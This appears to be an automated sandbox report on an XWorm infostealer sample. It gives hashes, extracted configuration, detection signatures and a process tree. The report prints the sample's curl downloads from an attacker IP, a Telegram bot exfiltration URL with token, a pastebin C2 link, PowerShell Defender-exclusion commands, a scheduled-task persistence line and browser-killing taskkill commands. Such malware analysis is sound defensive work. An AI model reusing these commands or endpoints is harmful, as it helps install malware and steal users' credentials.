Analysis
-
max time kernel
148s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
26-05-2024 07:50
Static task
static1
Behavioral task
behavioral1
Sample
efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe
Resource
win7-20240419-en
General
-
Target
efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe
-
Size
120KB
-
MD5
4e1e436848d533c9a00b762ac148786d
-
SHA1
42962a264fbdbc96eb8267052298be9143ecd8bf
-
SHA256
efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd
-
SHA512
59d16efac5f0ea7c62d18ef30032eba907b8d6c097463a8244f3d709c85b90ec12387c94a4d8a35dfb59d0cbd2dc02d0b39a1f6bd12c5ccd050d552070fdf30d
-
SSDEEP
3072:EV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPxJ:pt5hBPi0BW69hd1MMdxPe9N9uA069TBz
Malware Config
Extracted
xworm
-
Install_directory
%ProgramData%
-
install_file
winlogon.exe
-
pastebin_url
https://pastebin.com/raw/kTrgfRNT
-
telegram
https://api.telegram.org/bot6820329388:AAG0ljIyZ1Cj86n9cgzLGNBMldBe9TtqhAM/sendMessage?chat_id=1330099235
Signatures
-
Detect Xworm Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\rm.exe family_xworm behavioral2/memory/1676-18-0x00000000007A0000-0x00000000007B6000-memory.dmp family_xworm -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 1908 powershell.exe 2192 powershell.exe 3232 powershell.exe 4540 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exerm.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation rm.exe -
Executes dropped EXE 5 IoCs
Processes:
ram.exerm.exewinlogon.exewinlogon.exewinlogon.exepid process 3144 ram.exe 1676 rm.exe 5024 winlogon.exe 4860 winlogon.exe 3540 winlogon.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
rm.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "C:\\ProgramData\\winlogon.exe" rm.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 24 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Kills process with taskkill 15 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 1692 taskkill.exe 2936 taskkill.exe 3028 taskkill.exe 4704 taskkill.exe 5076 taskkill.exe 3320 taskkill.exe 1788 taskkill.exe 1112 taskkill.exe 1780 taskkill.exe 3728 taskkill.exe 2252 taskkill.exe 1132 taskkill.exe 552 taskkill.exe 3256 taskkill.exe 4232 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exerm.exepid process 1908 powershell.exe 1908 powershell.exe 2192 powershell.exe 2192 powershell.exe 3232 powershell.exe 3232 powershell.exe 4540 powershell.exe 4540 powershell.exe 1676 rm.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exerm.exepowershell.exepowershell.exepowershell.exepowershell.exewinlogon.exewinlogon.exewinlogon.exedescription pid process Token: SeDebugPrivilege 1788 taskkill.exe Token: SeDebugPrivilege 1692 taskkill.exe Token: SeDebugPrivilege 4704 taskkill.exe Token: SeDebugPrivilege 1112 taskkill.exe Token: SeDebugPrivilege 5076 taskkill.exe Token: SeDebugPrivilege 2252 taskkill.exe Token: SeDebugPrivilege 1132 taskkill.exe Token: SeDebugPrivilege 552 taskkill.exe Token: SeDebugPrivilege 3256 taskkill.exe Token: SeDebugPrivilege 1780 taskkill.exe Token: SeDebugPrivilege 3728 taskkill.exe Token: SeDebugPrivilege 2936 taskkill.exe Token: SeDebugPrivilege 4232 taskkill.exe Token: SeDebugPrivilege 3028 taskkill.exe Token: SeDebugPrivilege 3320 taskkill.exe Token: SeDebugPrivilege 1676 rm.exe Token: SeDebugPrivilege 1908 powershell.exe Token: SeDebugPrivilege 2192 powershell.exe Token: SeDebugPrivilege 3232 powershell.exe Token: SeDebugPrivilege 4540 powershell.exe Token: SeDebugPrivilege 1676 rm.exe Token: SeDebugPrivilege 5024 winlogon.exe Token: SeDebugPrivilege 4860 winlogon.exe Token: SeDebugPrivilege 3540 winlogon.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
rm.exepid process 1676 rm.exe -
Suspicious use of WriteProcessMemory 50 IoCs
Processes:
efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.execmd.exeram.exerm.exedescription pid process target process PID 2672 wrote to memory of 4652 2672 efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe cmd.exe PID 2672 wrote to memory of 4652 2672 efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe cmd.exe PID 4652 wrote to memory of 4936 4652 cmd.exe curl.exe PID 4652 wrote to memory of 4936 4652 cmd.exe curl.exe PID 4652 wrote to memory of 4572 4652 cmd.exe curl.exe PID 4652 wrote to memory of 4572 4652 cmd.exe curl.exe PID 4652 wrote to memory of 3144 4652 cmd.exe ram.exe PID 4652 wrote to memory of 3144 4652 cmd.exe ram.exe PID 3144 wrote to memory of 1788 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 1788 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 1692 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 1692 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 4704 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 4704 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 1112 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 1112 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 5076 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 5076 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 2252 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 2252 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 1132 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 1132 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 552 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 552 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 3256 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 3256 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 1780 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 1780 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 3728 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 3728 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 2936 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 2936 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 4232 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 4232 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 3028 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 3028 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 3320 3144 ram.exe taskkill.exe PID 3144 wrote to memory of 3320 3144 ram.exe taskkill.exe PID 4652 wrote to memory of 1676 4652 cmd.exe rm.exe PID 4652 wrote to memory of 1676 4652 cmd.exe rm.exe PID 1676 wrote to memory of 1908 1676 rm.exe powershell.exe PID 1676 wrote to memory of 1908 1676 rm.exe powershell.exe PID 1676 wrote to memory of 2192 1676 rm.exe powershell.exe PID 1676 wrote to memory of 2192 1676 rm.exe powershell.exe PID 1676 wrote to memory of 3232 1676 rm.exe powershell.exe PID 1676 wrote to memory of 3232 1676 rm.exe powershell.exe PID 1676 wrote to memory of 4540 1676 rm.exe powershell.exe PID 1676 wrote to memory of 4540 1676 rm.exe powershell.exe PID 1676 wrote to memory of 1748 1676 rm.exe schtasks.exe PID 1676 wrote to memory of 1748 1676 rm.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4594.tmp\4595.tmp\4596.bat C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4652 -
C:\Windows\system32\curl.execurl -s -o ram.exe http://188.212.100.57:54391/download/shell.exe3⤵PID:4936
-
-
C:\Windows\system32\curl.execurl -s -o rm.exe http://188.212.100.57:54391/download/winlogon.exe3⤵PID:4572
-
-
C:\Users\Admin\AppData\Local\Temp\ram.exeram.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3144 -
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1788
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1692
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4704
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1112
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM kometa.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5076
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM orbitum.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2252
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM centbrowser.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1132
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM 7star.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:552
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sputnik.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3256
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1780
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM epicprivacybrowser.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3728
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2936
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM uran.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4232
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM yandex.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3028
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM iridium.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3320
-
-
-
C:\Users\Admin\AppData\Local\Temp\rm.exerm.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\rm.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1908
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'rm.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2192
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\winlogon.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3232
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winlogon.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4540
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winlogon" /tr "C:\ProgramData\winlogon.exe"4⤵
- Creates scheduled task(s)
PID:1748
-
-
-
-
C:\ProgramData\winlogon.exeC:\ProgramData\winlogon.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5024
-
C:\ProgramData\winlogon.exeC:\ProgramData\winlogon.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4860
-
C:\ProgramData\winlogon.exeC:\ProgramData\winlogon.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3540
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
654B
MD52ff39f6c7249774be85fd60a8f9a245e
SHA1684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA5121d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
-
Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
Filesize
944B
MD5da5c82b0e070047f7377042d08093ff4
SHA189d05987cd60828cca516c5c40c18935c35e8bd3
SHA25677a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5
SHA5127360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b
-
Filesize
944B
MD57d9ecfe610b58440e18d2bffe5167d71
SHA17afeed064042ef5e614228f678a0c595699c3d84
SHA2562c42082be2718281fe2a2bf0136bf417ff214ce7c36bc22a40d23adb1d026632
SHA512017a63c4b81cd256adec796b9258fbae464d32af59cb654a81dd157e02896f50a252c25b6eac07fc6cb44a493b477e7debfaf9999c854dbd3fb34e24ef443c29
-
Filesize
230B
MD5abdb6860d790577e02cca5005866bbe8
SHA16c87a9e8b0b29ffe358c079a54f06dd9ef5cfb37
SHA256ee13e97e15c3a2f432a7bfd3af278aa38ff88baa7652ea0bfb2e5d9bf5adb8f0
SHA5121bbcf1d4540019aa392234e91e7629fd9f61240b8d7003df3404536810e639f7019a60bb74c2a08be5f855fd96923d0f8e0cdf7fa3a3d25e1e5829487a959fce
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4B
MD537a6259cc0c1dae299a7866489dff0bd
SHA12be88ca4242c76e8253ac62474851065032d6833
SHA25674234e98afe7498fb5daf1f36ac2d78acc339464f950703b8c019892f982b90b
SHA51204f8ff2682604862e405bf88de102ed7710ac45c1205957625e4ee3e5f5a2241e453614acc451345b91bafc88f38804019c7492444595674e94e8cf4be53817f
-
Filesize
7.6MB
MD52c93399e0b0fc11cd03a56fc844a4816
SHA1d8a6db37b1ac3cc819b04b0f4aac7fe721f88f00
SHA256081da8d5b9e21e11ae3aeafd4ac54ba2e7a45a05abb08139bc1aa0213f1ef155
SHA512dea99c0a22077389f6f6662e644e47ecb55ac010881b135ada2e07ac7a5ba1d42670d52c6cd88804aa3a16783f1e1f39b23fe3f7de6030ede831a27fee30f4a8
-
Filesize
64KB
MD5a43a55c5578f61d05ce146ead83e745a
SHA183093f791120d3e74b0d0847aebc52d3c9f04078
SHA256de4d28dd8c9208fe86dec1e014913f3cfefdcadf73a7adb6eb062677f5f5772f
SHA512a49839e60d77003090e0c9f602a64e597648e7151d99c5096479984cee32d376c8bd425114704b9366d213d0e9494900a726dead28e0548c5b7788ad5e5cbf1d